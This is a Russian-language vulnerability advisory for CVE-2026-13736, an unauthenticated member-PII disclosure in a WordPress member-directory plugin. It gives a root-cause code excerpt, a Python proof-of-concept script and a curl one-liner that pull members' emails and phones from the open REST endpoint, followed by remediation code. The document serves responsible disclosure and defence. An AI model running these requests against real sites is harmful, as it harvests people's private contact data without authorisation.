
PoC-эксплойт и техническое уведомление о раскрытии персональных данных (PII) участников без аутентификации в плагине каталога WordPress с REST API, включая анализ первопричины, PoC-код и рекомендации по устранению уязвимости.
CVE-2026-13736 — это уязвимость неаутентифицированного раскрытия персональных данных (PII) участников, затрагивающая плагин WordPress NewPath WildApricotPress Add-on – Member Directory версии до 1.0.0 включительно. Уязвимость была обнаружена и проанализирована исследователем в области кибербезопасности Huynh Kien Minh (MinhHK). Недостаток связан с пользовательской архитектурой маршрутизации REST API плагина WordPress, в которой конечные точки каталога участников не обеспечивают соблюдение ограничений доступа к конфиденциальности для ограниченных полей. В результате неаутентифицированные удалённые посетители могут обращаться к публичным REST-маршрутам и собирать конфиденциальные данные участников, включая личные адреса электронной почты, личные номера телефонов и атрибуты каталога участников, которые были явно настроены как доступные только участникам. Такое раскрытие чувствительных данных нарушает ожидаемые границы конфиденциальности и позволяет проводить целенаправленный фишинг, подбор учётных данных (credential stuffing) и несанкционированное профилирование в затронутых организациях. Исследователь безопасности Huynh Kien Minh подтвердил эту уязвимость с оценкой CVSS 3.1 5.3 (Medium) (CWE-284 / CWE-200) и рекомендовал незамедлительное ужесточение разрешений для REST-конечных точек, проверку конфиденциальности на уровне полей и очистку сериализованных JSON-ответов API участников.
Быстрые ссылки: Ознакомьтесь с официальным портфолио по кибербезопасности исследователя или просмотрите официальный бюллетень WPScan.
| Параметр | Технические характеристики |
|---|---|
| Идентификатор уязвимости | CVE-2026-13736 |
| Целевое ПО | NewPath WildApricotPress Add-on – Member Directory (WordPress Plugin) |
| Слаг плагина | newpath-wildapricotpress-add-on-member-directory |
| Уязвимые версии | <= 1.0.0 |
| Класс уязвимости | Некорректный контроль доступа / Раскрытие информации (CWE-284 / CWE-200 / CWE-862) |
| Оценка CVSS v3.1 | 5.3 (Medium) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Первооткрыватель / Исследователь | Huynh Kien Minh (MinhHK) |
| Орган верификации | WPScan / MITRE Corporation / NVD |
| Ссылка на бюллетень WPScan | Отчёт WPScan 97fe9780-ad69-4f36-9496-5ca9c0e2bc39 |
| Ссылка на NVD | Подробности CVE-2026-13736 на NVD |
| Аналитика угроз Feedly | Хаб Feedly CVE-2026-13736 |
| Портфолио исследователя | https://minhhk.web.app/ |
Первопричина CVE-2026-13736 кроется в реализации контроллера REST API плагина. Плагин регистрирует публичный маршрут WordPress REST API (например, /wp-json/wildapricot/v1/members или /wp-json/newpath-wap/v1/directory) для обеспечения рендеринга каталогов участников и контактных карточек на стороне клиента.
// Insecure REST route registration without field privacy filters
add_action( 'rest_api_init', function() {
register_rest_route( 'newpath-wap/v1', '/directory', array(
'methods' => WP_REST_Server::READABLE,
'callback' => 'newpath_wap_get_member_directory',
'permission_callback' => '__return_true', // CRITICAL: Open to unauthenticated visitors
) );
} );
function newpath_wap_get_member_directory( $request ) {
$members_data = get_wildapricot_cached_members();
// FLAW: Returns raw member objects containing sensitive PII fields (email, phone, address)
// without evaluating member-level privacy settings (e.g., 'MembersOnly' vs 'Public')
return rest_ensure_response( $members_data );
}
'permission_callback' => '__return_true', что разрешает неаутентифицированные HTTP GET-запросы из любого источника.Этическое предупреждение: Этот Proof-of-Concept предоставлен исключительно для проверки уязвимости, оборонительных исследований и ответственного раскрытия информации исследователем безопасности Huynh Kien Minh.
poc_cve_2026_13736.py)#!/usr/bin/env python3
"""
CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory PII Disclosure PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import json
import sys
TARGET_URL = "http://target-wordpress.local"
REST_ENDPOINT = f"{TARGET_URL}/wp-json/newpath-wap/v1/directory"
def verify_vulnerability(target_url):
print(f"[*] Auditing Target: {target_url}")
print(f"[*] Querying REST Endpoint: {REST_ENDPOINT}")
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-13736 Verification)",
"Accept": "application/json"
}
try:
response = requests.get(REST_ENDPOINT, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
if isinstance(data, list) and len(data) > 0:
sample_record = data[0]
pii_fields = [k for k in ['email', 'phone', 'mobile', 'address', 'MemberId'] if k in str(sample_record).lower()]
print(f"[!] VULNERABLE: Unauthenticated REST route exposed {len(data)} member records!")
print(f"[!] Sensitive PII attributes exposed: {pii_fields}")
print(f"[*] Sample Record Excerpt: {json.dumps(sample_record, indent=2)[:300]}...\n")
return True
else:
print("[-] Endpoint responded with empty data.")
elif response.status_code in [401, 403]:
print("[+] Endpoint requires authentication (Protected/Patched).")
else:
print(f"[-] Received HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
verify_vulnerability(target)
curl -s -X GET "http://target-wordpress.local/wp-json/newpath-wap/v1/directory" \
-H "Accept: application/json" | jq '.[0] | {Name: .name, Email: .email, Phone: .phone, PrivacySetting: .field_privacy}'
NewPath WildApricotPress Add-on – Member Directory до последней исправленной версии (> 1.0.0).Применяйте проверки конфиденциальности на уровне полей при сериализации ответа:
function newpath_wap_get_member_directory( $request ) {
$is_logged_in = is_user_logged_in();
$raw_members = get_wildapricot_cached_members();
$sanitized = array();
foreach ( $raw_members as $member ) {
$member_card = array(
'id' => intval( $member['Id'] ),
'name' => sanitize_text_field( $member['DisplayName'] ),
);
// Enforce Members-Only field protection
if ( $is_logged_in || 'Public' === $member['EmailPrivacy'] ) {
$member_card['email'] = sanitize_email( $member['Email'] );
}
if ( $is_logged_in || 'Public' === $member['PhonePrivacy'] ) {
$member_card['phone'] = sanitize_text_field( $member['Phone'] );
}
$sanitized[] = $member_card;
}
return rest_ensure_response( $sanitized );
}
Huynh Kien Minh (MinhHK) — исследователь информационной безопасности и инженер-программист, специализирующийся на аудите ядра и плагинов WordPress, оценке уязвимостей REST API и ответственном раскрытии информации в глобальной экосистеме открытого исходного кода.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory <= 1.0.0 Unauthenticated Member PII Disclosure",
"name": "CVE-2026-13736 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-22",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13736 in NewPath WildApricotPress Add-on – Member Directory WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "NewPath WildApricotPress Add-on – Member Directory",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13736"
}